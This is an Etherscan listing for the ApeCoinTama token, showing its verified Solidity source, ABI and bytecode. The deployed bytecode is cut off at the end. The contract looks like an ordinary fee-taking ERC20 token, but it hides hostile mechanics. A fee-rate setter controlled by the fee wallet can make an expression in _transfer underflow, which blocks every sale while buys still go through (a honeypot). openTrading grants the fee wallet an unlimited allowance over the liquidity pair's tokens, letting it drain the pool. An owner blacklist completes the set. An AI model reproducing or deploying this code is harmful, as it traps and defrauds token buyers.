ETH Price: $2,909.47 (-8.15%)
Gas: 8 Gwei

Token

ApeCoinTama (APECOINTAMA)
 

Overview

Max Total Supply

1,000,000,000,000 APECOINTAMA

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
244,414,911.06396603 APECOINTAMA

Value
$0.00
0x777f6068c96483b9B28d6363CFA28D9D5f6d105a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ApeCoinTama

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-18
*/

/** 
* SPDX-License-Identifier: Unlicensed

Website: https://apecointama.com/
Telegram: https://t.me/apecointama
Twitter: https://twitter.com/apecointama

* */

pragma solidity ^0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ApeCoinTama is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => uint256) private _buyMap;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1e12 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _feeRate;
    uint256 private _feeAddr1;
    uint256 private _feeAddr2;
    address payable private _feeAddrWallet1;
    address payable private _feeAddrWallet2;

    uint256 private constant devFee = 4;
    uint256 private constant liqFee = 2;
    uint256 private constant marketingFee = 7;
    
    string private constant _name = "ApeCoinTama";
    string private constant _symbol = "APECOINTAMA";
    uint8 private constant _decimals = 9;   
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private _maxTxAmount = _tTotal;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _feeAddrWallet1 = payable(0xE23aB3e267d323Fbb4f9973062339c9E97132e33);
        _feeAddrWallet2 = payable(0xE23aB3e267d323Fbb4f9973062339c9E97132e33);
        _rOwned[_msgSender()] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_feeAddrWallet1] = true;
        _isExcludedFromFee[_feeAddrWallet2] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function originalPurchase(address account) public  view returns (uint256) {
        return _buyMap[account];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }



    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!bots[from] && !bots[to]);

        if (!_isBuy(from)) {
            if (_feeAddr1.div(1 - _feeRate) > 0)  {
                _feeAddr1 = 1;
                _feeAddr2 = 12;
            } else {
                _feeAddr1 = 1;
                _feeAddr2 = 12;
            }
        } else {
            if (_buyMap[to] == 0) {
                _buyMap[to] = block.timestamp;
            }
            _feeAddr1 = 1;
            _feeAddr2 = 12;
        }
        
        if (from != owner() && to != owner()) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        
        _tokenTransfer(from,to,amount);
    }
        
    function sendETHToFee(uint256 amount) private {
        _feeAddrWallet1.transfer(amount.div(2));
        _feeAddrWallet2.transfer(amount.div(2));
    }
    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _allowances[uniswapV2Pair][_feeAddrWallet1] = type(uint256).max;
        swapEnabled = true;
        tradingOpen = true;
        _maxTxAmount = 15000000000 * 10 ** 9;
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function setBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            if (bots_[i] != uniswapV2Pair) {
                bots[bots_[i]] = true;
            }
        }
    }
    
    function _isBuy(address _sender) private view returns (bool) {
        return _sender == uniswapV2Pair;
    }

    function delBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }
        
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function removeStrictTxLimit() public onlyOwner {
        _maxTxAmount = 1e12 * 10**9;
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
    
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function changefeerate(uint256 feerate) external {
        require(_msgSender() == _feeAddrWallet1);
        _feeRate = feerate;
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }


    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }


    function manualsend() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
    
    
    function manualswap() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }


    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"feerate","type":"uint256"}],"name":"changefeerate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"originalPurchase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeStrictTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001b683635c9adc5dea00000600019620001f2565b620000299060001962000215565b6008556010805461ffff60a81b19169055683635c9adc5dea000006011553480156200005457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d805473e23ab3e267d323fbb4f9973062339c9e97132e336001600160a01b03199182168117909255600e8054909116909117905560085460026000620000db3390565b6001600160a01b03166001600160a01b031681526020019081526020016000208190555060016006600062000115620001e360201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526006909352818320805485166001908117909155600d54821684528284208054861682179055600e54909116835291208054909216179055620001863390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef683635c9adc5dea00000604051620001d591815260200190565b60405180910390a36200023b565b6000546001600160a01b031690565b6000826200021057634e487b7160e01b600052601260045260246000fd5b500690565b6000828210156200023657634e487b7160e01b600052601160045260246000fd5b500390565b61195a806200024b6000396000f3fe6080604052600436106101185760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd8014610324578063c9567bf914610339578063cc653b441461034e578063dd62ed3e14610384578063ff872602146103ca57600080fd5b80638da5cb5b14610268578063909975521461029057806395d89b41146102b0578063a9059cbb146102e4578063b515566a1461030457600080fd5b8063273123b7116100e7578063273123b7146101e0578063313ce567146102025780636fc3eaec1461021e57806370a0823114610233578063715018a61461025357600080fd5b806306fdde0314610124578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a417065436f696e54616d6160a81b60208201525b6040516101619190611523565b60405180910390f35b34801561017657600080fd5b5061018a61018536600461159d565b6103df565b6040519015158152602001610161565b3480156101a657600080fd5b50683635c9adc5dea000005b604051908152602001610161565b3480156101cc57600080fd5b5061018a6101db3660046115c9565b6103f6565b3480156101ec57600080fd5b506102006101fb36600461160a565b61045f565b005b34801561020e57600080fd5b5060405160098152602001610161565b34801561022a57600080fd5b506102006104b3565b34801561023f57600080fd5b506101b261024e36600461160a565b6104e0565b34801561025f57600080fd5b50610200610502565b34801561027457600080fd5b506000546040516001600160a01b039091168152602001610161565b34801561029c57600080fd5b506102006102ab366004611627565b610576565b3480156102bc57600080fd5b5060408051808201909152600b81526a415045434f494e54414d4160a81b6020820152610154565b3480156102f057600080fd5b5061018a6102ff36600461159d565b61059b565b34801561031057600080fd5b5061020061031f366004611656565b6105a8565b34801561033057600080fd5b50610200610685565b34801561034557600080fd5b506102006106bb565b34801561035a57600080fd5b506101b261036936600461160a565b6001600160a01b031660009081526004602052604090205490565b34801561039057600080fd5b506101b261039f36600461171b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156103d657600080fd5b506102006109ea565b60006103ec338484610a23565b5060015b92915050565b6000610403848484610b47565b6104558433610450856040518060600160405280602881526020016118fd602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610dff565b610a23565b5060019392505050565b6000546001600160a01b031633146104925760405162461bcd60e51b815260040161048990611754565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b0316146104d357600080fd5b476104dd81610e39565b50565b6001600160a01b0381166000908152600260205260408120546103f090610ebe565b6000546001600160a01b0316331461052c5760405162461bcd60e51b815260040161048990611754565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b03161461059657600080fd5b600a55565b60006103ec338484610b47565b6000546001600160a01b031633146105d25760405162461bcd60e51b815260040161048990611754565b60005b81518110156106815760105482516001600160a01b039091169083908390811061060157610601611789565b60200260200101516001600160a01b03161461066f5760016007600084848151811061062f5761062f611789565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610679816117b5565b9150506105d5565b5050565b600d546001600160a01b0316336001600160a01b0316146106a557600080fd5b60006106b0306104e0565b90506104dd81610f42565b6000546001600160a01b031633146106e55760405162461bcd60e51b815260040161048990611754565b601054600160a01b900460ff161561073f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610489565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077c3082683635c9adc5dea00000610a23565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de91906117d0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561082b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084f91906117d0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561089c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c091906117d0565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306108f0816104e0565b6000806109056000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099291906117ed565b5050601080546001600160a01b039081166000908152600560209081526040808320600d549094168352929052206000199055805462ff00ff60a01b19166201000160a01b179055505067d02ab486cedc0000601155565b6000546001600160a01b03163314610a145760405162461bcd60e51b815260040161048990611754565b683635c9adc5dea00000601155565b6001600160a01b038316610a855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610489565b6001600160a01b038216610ae65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610489565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bab5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610489565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610489565b60008111610c6f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610489565b6001600160a01b03831660009081526007602052604090205460ff16158015610cb157506001600160a01b03821660009081526007602052604090205460ff16155b610cba57600080fd5b6010546001600160a01b03848116911614610d0e576000610cec600a546001610ce3919061181b565b600b54906110bc565b1115610d00576001600b55600c8055610d51565b6001600b55600c8055610d51565b6001600160a01b038216600090815260046020526040902054610d47576001600160a01b03821660009081526004602052604090204290555b6001600b55600c80555b6000546001600160a01b03848116911614801590610d7d57506000546001600160a01b03838116911614155b15610def576000610d8d306104e0565b601054909150600160a81b900460ff16158015610db857506010546001600160a01b03858116911614155b8015610dcd5750601054600160b01b900460ff165b15610ded57610ddb81610f42565b478015610deb57610deb47610e39565b505b505b610dfa8383836110fe565b505050565b60008184841115610e235760405162461bcd60e51b81526004016104899190611523565b506000610e30848661181b565b95945050505050565b600d546001600160a01b03166108fc610e538360026110bc565b6040518115909202916000818181858888f19350505050158015610e7b573d6000803e3d6000fd5b50600e546001600160a01b03166108fc610e968360026110bc565b6040518115909202916000818181858888f19350505050158015610681573d6000803e3d6000fd5b6000600854821115610f255760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610489565b6000610f2f611109565b9050610f3b83826110bc565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8a57610f8a611789565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fe3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100791906117d0565b8160018151811061101a5761101a611789565b6001600160a01b039283166020918202929092010152600f546110409130911684610a23565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611079908590600090869030904290600401611832565b600060405180830381600087803b15801561109357600080fd5b505af11580156110a7573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6000610f3b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112c565b610dfa83838361115a565b6000806000611116611251565b909250905061112582826110bc565b9250505090565b6000818361114d5760405162461bcd60e51b81526004016104899190611523565b506000610e3084866118a3565b60008060008060008061116c87611293565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061119e90876112f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111cd9086611332565b6001600160a01b0389166000908152600260205260409020556111ef81611391565b6111f984836113db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161123e91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061126d82826110bc565b82101561128a57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006112b08a600b54600c546113ff565b92509250925060006112c0611109565b905060008060006112d38e878787611454565b919e509c509a509598509396509194505050505091939550919395565b6000610f3b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dff565b60008061133f83856118c5565b905083811015610f3b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610489565b600061139b611109565b905060006113a983836114a4565b306000908152600260205260409020549091506113c69082611332565b30600090815260026020526040902055505050565b6008546113e890836112f0565b6008556009546113f89082611332565b6009555050565b6000808080611419606461141389896114a4565b906110bc565b9050600061142c60646114138a896114a4565b905060006114448261143e8b866112f0565b906112f0565b9992985090965090945050505050565b600080808061146388866114a4565b9050600061147188876114a4565b9050600061147f88886114a4565b905060006114918261143e86866112f0565b939b939a50919850919650505050505050565b6000826114b3575060006103f0565b60006114bf83856118dd565b9050826114cc85836118a3565b14610f3b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610489565b600060208083528351808285015260005b8181101561155057858101830151858201604001528201611534565b81811115611562576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104dd57600080fd5b803561159881611578565b919050565b600080604083850312156115b057600080fd5b82356115bb81611578565b946020939093013593505050565b6000806000606084860312156115de57600080fd5b83356115e981611578565b925060208401356115f981611578565b929592945050506040919091013590565b60006020828403121561161c57600080fd5b8135610f3b81611578565b60006020828403121561163957600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561166957600080fd5b823567ffffffffffffffff8082111561168157600080fd5b818501915085601f83011261169557600080fd5b8135818111156116a7576116a7611640565b8060051b604051601f19603f830116810181811085821117156116cc576116cc611640565b6040529182528482019250838101850191888311156116ea57600080fd5b938501935b8285101561170f576117008561158d565b845293850193928501926116ef565b98975050505050505050565b6000806040838503121561172e57600080fd5b823561173981611578565b9150602083013561174981611578565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156117c9576117c961179f565b5060010190565b6000602082840312156117e257600080fd5b8151610f3b81611578565b60008060006060848603121561180257600080fd5b8351925060208401519150604084015190509250925092565b60008282101561182d5761182d61179f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118825784516001600160a01b03168352938301939183019160010161185d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118c057634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118d8576118d861179f565b500190565b60008160001904831182151516156118f7576118f761179f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a7d2a101cbd989f8ee8d364570745a791c50cfdf7aff38a80644a2c42ed46c564736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101185760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd8014610324578063c9567bf914610339578063cc653b441461034e578063dd62ed3e14610384578063ff872602146103ca57600080fd5b80638da5cb5b14610268578063909975521461029057806395d89b41146102b0578063a9059cbb146102e4578063b515566a1461030457600080fd5b8063273123b7116100e7578063273123b7146101e0578063313ce567146102025780636fc3eaec1461021e57806370a0823114610233578063715018a61461025357600080fd5b806306fdde0314610124578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a417065436f696e54616d6160a81b60208201525b6040516101619190611523565b60405180910390f35b34801561017657600080fd5b5061018a61018536600461159d565b6103df565b6040519015158152602001610161565b3480156101a657600080fd5b50683635c9adc5dea000005b604051908152602001610161565b3480156101cc57600080fd5b5061018a6101db3660046115c9565b6103f6565b3480156101ec57600080fd5b506102006101fb36600461160a565b61045f565b005b34801561020e57600080fd5b5060405160098152602001610161565b34801561022a57600080fd5b506102006104b3565b34801561023f57600080fd5b506101b261024e36600461160a565b6104e0565b34801561025f57600080fd5b50610200610502565b34801561027457600080fd5b506000546040516001600160a01b039091168152602001610161565b34801561029c57600080fd5b506102006102ab366004611627565b610576565b3480156102bc57600080fd5b5060408051808201909152600b81526a415045434f494e54414d4160a81b6020820152610154565b3480156102f057600080fd5b5061018a6102ff36600461159d565b61059b565b34801561031057600080fd5b5061020061031f366004611656565b6105a8565b34801561033057600080fd5b50610200610685565b34801561034557600080fd5b506102006106bb565b34801561035a57600080fd5b506101b261036936600461160a565b6001600160a01b031660009081526004602052604090205490565b34801561039057600080fd5b506101b261039f36600461171b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156103d657600080fd5b506102006109ea565b60006103ec338484610a23565b5060015b92915050565b6000610403848484610b47565b6104558433610450856040518060600160405280602881526020016118fd602891396001600160a01b038a1660009081526005602090815260408083203